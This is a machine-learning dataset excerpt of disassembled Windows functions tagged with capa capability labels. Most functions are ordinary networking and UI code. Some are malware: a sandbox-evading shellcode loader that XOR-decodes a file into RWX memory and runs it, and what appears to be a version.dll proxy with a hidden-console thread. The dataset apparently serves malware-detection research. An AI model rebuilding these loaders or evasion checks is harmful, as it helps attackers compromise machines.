joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14006baf0
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x38
cmp byte [rcx + 0xf1e], 0
movsxd r10, r9d
je 0x14006bc14
cmp r8d, 0xff
jne 0x14006bb51
lea eax, [r10 - 0xec]
cmp eax, 0x13
ja 0x14006bb3b
lea r8, [0x140000000]
mov r9, qword [r8 + r10*8 + 0x943e0]
mov r8, rdx
lea rdx, str._s_IAC__s_n
add rsp, 0x38
jmp fcn.140048d80
mov r8, rdx
mov r9d, r10d
lea rdx, str._s_IAC__d_n
add rsp, 0x38
jmp fcn.140048d80
cmp r8d, 0xfb
jne 0x14006bb63
lea r9, str.WILL
jmp 0x14006bba1
cmp r8d, 0xfc
jne 0x14006bb75
lea r9, str.WONT
jmp 0x14006bba1
cmp r8d, 0xfd
jne 0x14006bb87
lea r9, [0x140094e04]
jmp 0x14006bba1
xor r9d, r9d
lea rax, str.DONT
cmp r8d, 0xfe
cmove r9, rax
test r9, r9
je 0x14006bbfd
cmp r10d, 0x27
jg 0x14006bbd4
lea r8, [0x140000000]
mov r8, qword [r8 + r10*8 + 0x94a00]
test r8, r8
jne 0x14006bbe4
mov r8, rdx
mov dword [rsp + 0x20], r10d
lea rdx, str._s__s__d_n
call fcn.140048d80
add rsp, 0x38
ret
cmp r10d, 0xff
jne 0x14006bbbb
lea r8, str.EXOPL
mov qword [rsp + 0x20], r8
mov r8, rdx
lea rdx, str._s__s__s_n
call fcn.140048d80
add rsp, 0x38
ret
mov r9d, r8d
mov dword [rsp + 0x20], r10d
mov r8, rdx
lea rdx, str._s__d__d_n
call fcn.140048d80
add rsp, 0x38
ret

Function at 0x14006bf60
Capabilities:
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rbp, qword [rcx]
mov edi, r8d
mov esi, edx
mov byte [rax + 0x10], 0xff
xor r9d, r9d
mov byte [rax + 0x11], sil
mov rbx, rcx
mov byte [rax + 0x12], dil
mov rcx, qword [rcx + 0x4c0]
lea rdx, [rax + 0x10]
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x14006bfbf
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.140048c00
mov rcx, qword [rbx]
lea rdx, str.SENT
mov r9d, edi
mov r8d, esi
call fcn.14006baf0
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x14006da80
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x1400a6340]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x14006db15
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x14006db76
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.140048c00
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.140082b80
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x14006dc31
sub ecx, 1
je 0x14006dca4
sub ecx, 1
je 0x14006dbe0
cmp ecx, 1
je 0x14006dbc3
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x140092860]
call fcn.140048c00
jmp 0x14006dca4
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.14006d7b0
test eax, eax
je 0x14006dca4
jmp 0x14006db4a
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x14006dca4
sub rax, rsi
cmp rax, rbp
jae 0x14006dca4
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.140048d80
jmp 0x14006dca4
cmp r8d, 4
jle 0x14006dca4
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x14006dca4
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.140048b20
mov esi, eax
test eax, eax
je 0x14006dc83
mov edx, 5
mov rcx, rbx
call fcn.14006e770
mov eax, esi
jmp 0x14006db4a
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.140056ba0
mov rcx, r14
call fcn.140056e80
test eax, eax
je 0x14006db48
mov edx, 5
mov rcx, rbx
call fcn.14006e770
mov eax, Ordinal_46
jmp 0x14006db4a
Function at 0x140081d60
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [str.T7_b_]
mov rdi, rax
test rax, rax
jne 0x140081da2
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x140081de9
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x140081e42
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x140081e00
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x140081e83
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x140099abb]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x140099abc]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x140081e50
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x14008339c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400833e6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400833e6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400833e6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400833e6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400833e6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400833e8
xor al, al
add rsp, 0x28
ret
Function at 0x1800030d0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov edi, edx
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
test rbx, rbx
je 0x1800030fe
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
cmp edi, 1
jne 0x180003130
xor eax, eax
lea r8, [0x180002cc0]
mov qword [rsp + 0x28], rax
mov r9, rbx
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x180003130
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x40]
mov eax, 1
add rsp, 0x30
pop rdi
ret
Function at 0x1800040b0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x170
mov rax, qword [0x180009040]
xor rax, rsp
mov qword [rsp + 0x160], rax
xor edx, edx
mov r8d, 0x104
lea rcx, [rsp + 0x50]
call sub.VCRUNTIME140.dll_memset
mov edx, 0x104
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xor edi, edi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rdi
lea rax, [rsp + 0x50]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], dil
jne 0x180004120
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.180003840
nop
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 0xc
jb 0x180004185
lea rax, [rcx + 0xc]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8d, 0xc
lea rdx, str._version.dll
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0xc], 0
jmp 0x18000419d
mov qword [rsp + 0x20], 0xc
mov edx, 0xc
lea rcx, [rsp + 0x30]
call fcn.1800042b0
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbp, rax
test rax, rax
jne 0x1800041ca
lea rcx, str.Failed_to_load_version.dll_from_system32_n
call fcn.180004450
jmp 0x180004247
mov rbx, rdi
lea rsi, [0x180009890]
nop dword [rax]
nop dword [rax + rax]
mov rdx, qword [0x180009930]
add rdx, rbx
cmp qword [rdx + 0x18], 0xf
jbe 0x1800041f4
mov rdx, qword [rdx]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi], rax
test rax, rax
je 0x180004222
inc edi
add rbx, 0x20
add rsi, 8
cmp edi, 0x11
jl 0x1800041e0
lea rcx, str.Loaded_version.dll_from_system32_n
call fcn.180004450
jmp 0x180004247
movsxd rdx, edi
shl rdx, 5
add rdx, qword [0x180009930]
cmp qword [rdx + 0x18], 0xf
jbe 0x18000423a
mov rdx, qword [rdx]
lea rcx, str.Failed_to_get_address_of__s_n
call fcn.180004450
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x180004287
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004282
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180004282
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180004c7c
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.1800047e0
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x180004598
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1800045d2
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1800045d7
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x180004620
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1800063c0]
cmp byte [rcx + rax], 0
je 0x180004620
dec r8
sub rdx, 1
jne 0x180004606
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x140002850
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x140002883
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rcx, rax
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x1400028ca
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, eax
add rcx, rbx
and edi, 0xf
jbe 0x1400028c5
nop
cmp rbx, rcx
jae 0x1400028ca
movzx eax, word [rbx]
lea rbx, [rbx + rax*2]
add rbx, 2
add edi, 0xffffffff
jne 0x1400028b0
cmp rbx, rcx
jb 0x1400028ce
xor eax, eax
jmp 0x1400028da
xor eax, eax
cmp word [rbx], ax
cmove rbx, rax
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400030b0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Enumerate process modules
Execute shellcode via indirect call
Get file size
Read file on windows
Terminate process

Disassembly:
push rbx
mov eax, 0xeff10
call fcn.1401f0e20
sub rsp, rax
mov rax, qword [0x1402df768]
xor rax, rsp
mov qword [rsp + 0xeff00], rax
mov rbx, rcx
lea r8, [rsp + 0x48]
lea rcx, [rsp + 0x50]
mov edx, 0x1000
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x140003105
mov eax, dword [rsp + 0x48]
and eax, 0xfffffffc
cmp eax, 0x78
jae 0x140003105
mov ecx, 0x1234
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, 0x1d4c0
jae 0x14000311e
mov ecx, 0x5678
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov qword [rsp + 0xeff28], rbp
xor r9d, r9d
xor ebp, ebp
mov qword [rsp + 0xeff30], rsi
mov qword [rsp + 0x30], rbp
xor r8d, r8d
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov rcx, rbx
mov dword [rsp + 0x20], 3
mov qword [rsp + 0xeff38], rdi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rcx, rax
xor edx, edx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
lea r9, [rsp + 0x4c]
mov dword [rsp + 0x4c], ebp
mov r8d, eax
mov qword [rsp + 0x20], rbp
lea rdx, [rsp + 0x1050]
mov rcx, rbx
mov edi, eax
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, ebp
test edi, edi
je 0x14000322f
cmp edi, 0x20
jb 0x14000320d
lea ecx, [rdi - 1]
lea rax, [rsp + 0x1050]
add rax, rcx
lea rcx, [rsp + 0x1050]
cmp rcx, rax
jbe 0x14000320d
movdqa xmm2, xmmword [0x140297c20]
mov eax, edi
and eax, 0x1f
mov r8d, edi
sub r8d, eax
mov eax, edx
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rsp + rax + 0x1050]
pxor xmm0, xmm2
movdqu xmmword [rsp + rax + 0x1050], xmm0
lea eax, [rdx + 0x10]
add edx, 0x20
movdqu xmm0, xmmword [rsp + rax + 0x1050]
pxor xmm1, xmm0
movdqu xmmword [rsp + rax + 0x1050], xmm1
cmp edx, r8d
jb 0x1400031d0
cmp edx, edi
jae 0x14000322f
lea rcx, [rsp + 0x1050]
mov eax, edx
add rax, rcx
sub edi, edx
mov ecx, edi
xor byte [rax], 0xe7
lea rax, [rax + 1]
sub rcx, 1
jne 0x140003222
xor ecx, ecx
mov edx, 0xeeea8
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, 0xeeea8
lea rdx, [rsp + 0x1050]
mov rcx, rax
mov rdi, rax
call fcn.1401f2fc0
call qword [0x1402f1690]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rbx, rax
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [rsp + 0x30], ebp
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x28], ebp
xor r9d, r9d
mov r8, rdi
mov dword [rsp + 0x20], 0x64
mov rdx, rbx
mov rsi, rax
call qword [0x1402f1698]
mov rdi, qword [rsp + 0xeff38]
mov rbp, qword [rsp + 0xeff28]
test eax, eax
je 0x1400032d9
or edx, 0xffffffff
mov rcx, rsi
call qword [0x1402f16a0]
test eax, eax
je 0x1400032d9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.WaitForSingleObject_failed___d__n
call fcn.1400039f0
mov rsi, qword [rsp + 0xeff30]
mov rcx, qword [rsp + 0xeff00]
xor rcx, rsp
call fcn.1401f0140
add rsp, 0xeff10
pop rbx
ret
Function at 0x14000c6e8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
xor edi, edi
xor ebx, ebx
mov rsi, rdx
mov r14, rcx
test rdx, rdx
je 0x14000c750
call fcn.14001b844
mov r8d, 0xf0
mov rdx, rsi
mov rbp, qword [rax + 0x18]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindResourceA]
test rax, rax
je 0x14000c750
mov rdx, rax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
test rax, rax
je 0x14000c772
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
mov rdx, rdi
mov rcx, r14
call fcn.1400f4960
mov esi, eax
test rdi, rdi
je 0x14000c770
test rbx, rbx
je 0x14000c770
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x14000d6e8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rsi, rdx
mov rbx, rcx
test rcx, rcx
je 0x14000d7c0
mov rcx, qword [rcx + 0x40]
test rcx, rcx
je 0x14000d7c0
call qword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x14000d7c0
test rsi, rsi
je 0x14000d7c0
xor r15d, r15d
xor ebp, ebp
xor edi, edi
call fcn.14001b844
lea r8, str.AFX_DIALOG_LAYOUT
mov rdx, rsi
mov r14, qword [rax + 0x18]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rsi, rax
test rax, rax
je 0x14000d78d
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, rsi
mov rcx, r14
mov r15d, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdi, rax
test rax, rax
je 0x14000d7c0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbp, rax
mov r8d, r15d
mov rdx, rbp
mov rcx, rbx
call fcn.1400f5728
mov esi, eax
test rbp, rbp
je 0x14000d7b0
test rdi, rdi
je 0x14000d7b0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeResource]
test esi, esi
je 0x14000d7bc
mov rcx, rbx
call fcn.14000d350
mov eax, esi
jmp 0x14000d7c2
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
Function at 0x14000e918
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, rcx
mov rbx, r8
mov rcx, qword [rcx + 0x40]
call fcn.1400f71a8
mov rdi, rax
test rax, rax
je 0x14000e994
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDlgCtrlID]
mov esi, eax
test rbx, rbx
je 0x14000e98f
cmp dword [rbx], 0x40
jb 0x14000e98f
mov rcx, qword [rbp + 0x40]
xor r9d, r9d
or dword [rbx + 4], 1
xor r8d, r8d
or qword [rbx + 0x30], 0xffffffffffffffff
mov edx, 0x87
mov qword [rbx + 8], rcx
mov rcx, rdi
mov qword [rbx + 0x10], rdi
call qword [sym.imp.USER32.dll_SendMessageA]
bt rax, 0xd
jb 0x14000e98f
or dword [rbx + 4], 0x80000002
mov rax, rsi
jmp 0x14000e998
or rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140013434
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x70
mov edi, r9d
mov rsi, r8
mov r14, rdx
mov r15d, ecx
and qword [rax - 0x10], 0
and qword [rax - 0x18], 0
xor ebx, ebx
mov eax, dword [0x1402e6268]
test eax, eax
je 0x140013486
lea rcx, str.IsolationAware_function_called_after_IsolationAwareCleanup_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [0x1402e6268]
test eax, eax
jne 0x14001348f
call fcn.1400139bc
test eax, eax
je 0x1400134ab
lea rdx, [rsp + 0x60]
mov rcx, qword [0x1402de008]
call qword [sym.imp.KERNEL32.dll_ActivateActCtx]
mov ecx, 1
test eax, eax
cmovne ebx, ecx
test ebx, ebx
jne 0x1400134b6
xor eax, eax
jmp 0x140013564
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x40], rax
mov eax, dword [rsp + 0xb8]
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0xb0]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0xa8]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0xa0]
mov dword [rsp + 0x20], eax
mov r9d, edi
mov r8, rsi
mov rdx, r14
mov ecx, r15d
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov rsi, rax
mov qword [rsp + 0x68], rax
xor ebx, ebx
test rsi, rsi
sete bl
test ebx, ebx
je 0x140013546
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x140013548
xor edi, edi
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeactivateActCtx]
test ebx, ebx
je 0x140013561
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, rsi
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
Function at 0x140013580
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push r14
sub rsp, 0x30
mov rdi, r8
mov rsi, rdx
mov r14, rcx
and dword [rax - 0x18], 0
and qword [rax + 0x20], 0
xor ebx, ebx
mov eax, dword [0x1402e6268]
test eax, eax
je 0x1400135ca
lea rcx, str.IsolationAware_function_called_after_IsolationAwareCleanup_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [0x1402e6268]
test eax, eax
jne 0x1400135d3
call fcn.1400139bc
test eax, eax
je 0x1400135ef
lea rdx, [rsp + 0x58]
mov rcx, qword [0x1402de008]
call qword [sym.imp.KERNEL32.dll_ActivateActCtx]
mov ecx, 1
test eax, eax
cmovne ebx, ecx
test ebx, ebx
jne 0x1400135f7
xor eax, eax
jmp 0x14001363e
mov r8, rdi
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.USER32.dll_GetClassInfoExA]
mov edi, eax
mov dword [rsp + 0x20], eax
xor ebx, ebx
test edi, edi
sete bl
test ebx, ebx
je 0x140013621
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x140013623
xor esi, esi
mov rdx, qword [rsp + 0x58]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeactivateActCtx]
test ebx, ebx
je 0x14001363c
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, edi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r14
ret

Function at 0x140013654
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
mov r14, rcx
xor edi, edi
mov dword [rax - 0x18], edi
mov rbx, qword [0x1402e9648]
and qword [rax + 0x10], rdi
xor esi, esi
mov eax, dword [0x1402e6268]
test eax, eax
je 0x14001369f
lea rcx, str.IsolationAware_function_called_after_IsolationAwareCleanup_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [0x1402e6268]
test eax, eax
jne 0x1400136a8
call fcn.1400139bc
test eax, eax
je 0x1400136c4
lea rdx, [rsp + 0x48]
mov rcx, qword [0x1402de008]
call qword [sym.imp.KERNEL32.dll_ActivateActCtx]
mov ecx, 1
test eax, eax
cmovne esi, ecx
test esi, esi
jne 0x1400136cc
xor eax, eax
jmp 0x140013731
test rbx, rbx
jne 0x1400136ec
lea rcx, [0x14022a4c0]
call fcn.1400133a0
mov rbx, rax
test rax, rax
je 0x1400136ff
mov qword [0x1402e9648], rax
mov rcx, rbx
call fcn.1401f0c7c
mov rcx, r14
call rbx
mov edi, eax
mov dword [rsp + 0x20], eax
xor ebx, ebx
test edi, edi
sete bl
test ebx, ebx
je 0x140013714
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x140013716
xor esi, esi
mov rdx, qword [rsp + 0x48]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeactivateActCtx]
test ebx, ebx
je 0x14001372f
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, edi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret